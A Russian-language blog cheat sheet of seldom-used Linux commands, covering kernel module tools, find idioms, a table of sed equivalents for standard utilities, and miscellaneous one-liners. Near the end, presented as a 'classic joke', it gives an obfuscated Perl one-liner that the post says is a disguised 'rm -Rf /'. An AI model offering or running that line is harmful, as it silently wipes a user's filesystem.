Есть перечень команд к которым крайне редко прибегаю, но терять из виду не хотелось бы ...
apropos - Поиск по контексту man'ов.
blkid - UUID разделов HDD
lsof - Список процесов узающих файл(ы)
watch - Периодическое выполнение команды. (watch -n 60 echo Hello)
tac - Конкатенация строк с произвольным сепарирование (поддерживает регулярку)
rev - Реверс строк
lsmod - Список всех загруженных модулей ядра Linux.
insmod - Вставка модуля
rmmod - Удаление модуля
modprobe - Установка модуля, настройка его автозагрузки.
modinfo - Информация о модуле, в том числе и список параметров.
modconf - Листинг просмотра всех модулей по категориям, вкл/откл модулей. (ставится отдельно)
Малые возможности find'а:
find . -exec echo {} \; -exec echo {} \; - выполнить не одну а несколько комманд
find . -maxdepth 1 -type d -exec du -sh '{}' \; - Выводит полный размер директорий, находящихся в текущей, делаем сразу альяс на duu =)
find dir -type f -mmin +60 -exec rm -f {} \; - удаляем в папке dir файлы старше 1 часа
find dir -type f -mtime +10 -exec rm -f {} \; - удаляем в папке dir файлы старше 10 дней
find . -uid 0 -exec chown 500 {} \; - изменяем UID 0 на UID 500 везде, где найдем
find . -type f -exec chmod 644 {} \; - изменяем права доступа на все файлы
find . -type d -exec chmod 755 {} \; - изменяем права доступа на все папки
find . \( -size +700k -and -size -1000k \) -exec echo {} \; - находим файлы в пределах 700-1000 килобайт
Магия SED ;)
UNIX | SED
-------------+----------------------------------------------------------------
cat | sed ':'
cat -s | sed '1s/^$//p;/./,/^$/!d'
tac | sed '1!G;h;$!d'
grep | sed '/patt/!d'
grep -v | sed '/patt/d'
head | sed '10q'
head -1 | sed 'q'
tail | sed -e ':a' -e '$q;N;11,$D;ba'
tail -1 | sed '$!d'
tail -f | sed -u '/./!d'
cut -c 10 | sed 's/\(.\)\{10\}.*/\1/'
cut -d: -f4 | sed 's/\(\([^:]*\):\)\{4\}.*/\2/'
tr A-Z a-z | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'
tr a-z A-Z | sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'
tr -s ' ' | sed 's/ \+/ /g'
tr -d '\012' | sed 'H;$!d;g;s/\n//g'
wc -l | sed -n '$='
uniq | sed 'N;/^\(.*\)\n\1$/!P;D'
rev | sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//'
basename | sed 's,.*/,,'
dirname | sed 's,[^/]*$,,'
xargs | sed -e ':a' -e '$!N;s/\n/ /;ta'
paste -sd: | sed -e ':a' -e '$!N;s/\n/:/;ta'
cat -n | sed '=' | sed '$!N;s/\n/ /'
grep -n | sed -n '/patt/{=;p;}' | sed '$!N;s/\n/:/'
cp orig new | sed 'w new' orig
hostname -s | hostname | sed 's/\..*//'
Подручный материал:
echo "mail -s 'Saturday morning begins' abuse@domain.com < /dev/null" | at 17:45 - в 17:45 послать пустое письмо с заголовком 'Saturday morning begins'на abuse@domain.com
watch -n1 "cat /proc/interrupts" - запускать просмотр прерываний каждую секунду
touch -c -t 0304050607 file - установить время изменения для файла file (в формате YYMMDDhhmm)
dd bs=1M if=/dev/cdrom | gzip > cdrom.iso.gz - создать iso-образ диска и заархивировать его
mkisofs -r dir | gzip > cdrom.iso.gz - создать iso-образ из директории dir
gzip -dc cdrom.iso.gz | cdrecord dev=0,0,0 - - записать архивированный образ на диск
for x in *; do mv "$x" "`echo $x | tr '[:upped:]' '[:lower:]'`"; done; - перевод имен файлов и директорий в определенном каталоге в нижний регистр
Классическая хохма:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' - замаскированный rm -Rf / =)))
ну шпаргалка по sed однозначно в закладки :)
ОтветитьУдалить